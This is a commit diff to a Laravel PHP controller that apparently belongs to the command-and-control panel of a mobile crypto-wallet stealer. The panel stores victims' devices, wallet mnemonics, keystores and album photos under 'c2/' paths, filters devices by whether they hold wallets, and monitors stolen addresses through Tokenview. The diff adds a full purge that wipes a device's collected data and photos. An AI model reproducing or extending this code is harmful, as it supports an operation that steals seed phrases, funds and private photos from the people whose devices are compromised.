feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+102 -18
View File
@@ -13,8 +13,11 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
@@ -38,7 +41,7 @@ class DeviceController extends Controller
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -46,7 +49,7 @@ class DeviceController extends Controller
}
$q->orderBy('devices.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
@@ -56,13 +59,17 @@ class DeviceController extends Controller
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'has_wallet' => (int) $d->has_wallet,
'wallet_names' => $d->walletNameList(),
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
'destroy_url' => route($portal.'.devices.destroy', $d),
];
})->values();
@@ -116,7 +123,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
@@ -169,9 +176,60 @@ class DeviceController extends Controller
{
$this->authorizeDevice($device);
$photos = $device->photos()->get(['id', 'path']);
$deletedFiles = $this->deletePhotoFiles($device);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
}
public function destroy(Device $device)
{
$this->authorizeDevice($device);
$listUrl = route($this->portal().'.devices.index');
$this->purgeDevice($device);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'list_url' => $listUrl,
],
]);
}
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->unmonitorAddresses($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
$device->events()->delete();
$device->photos()->delete();
$device->notes()->delete();
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->delete();
});
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
foreach ($photos as $photo) {
foreach ($device->photos()->get(['id', 'path']) as $photo) {
$path = trim((string) ($photo->path ?? ''));
if ($path === '') {
continue;
@@ -182,29 +240,45 @@ class DeviceController extends Controller
}
}
$deletedRows = $device->photos()->delete();
return $deletedFiles;
}
$dir = 'c2/photos/'.$device->device_id;
private function deleteStorageDir(string $dir): void
{
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
// older flysystem without directoryExists — best-effort wipe
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
]);
}
}
}
private function authorizeDevice(Device $device): void
@@ -393,10 +467,16 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
$hasWallet = $request->query('has_wallet');
$hasWalletInt = null;
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
$hasWalletInt = (int) $hasWallet;
}
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
@@ -405,12 +485,13 @@ class DeviceController extends Controller
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'has_wallet' => $hasWalletInt,
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -438,6 +519,9 @@ class DeviceController extends Controller
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if ($filters['has_wallet'] !== null) {
$q->where('devices.has_wallet', $filters['has_wallet']);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}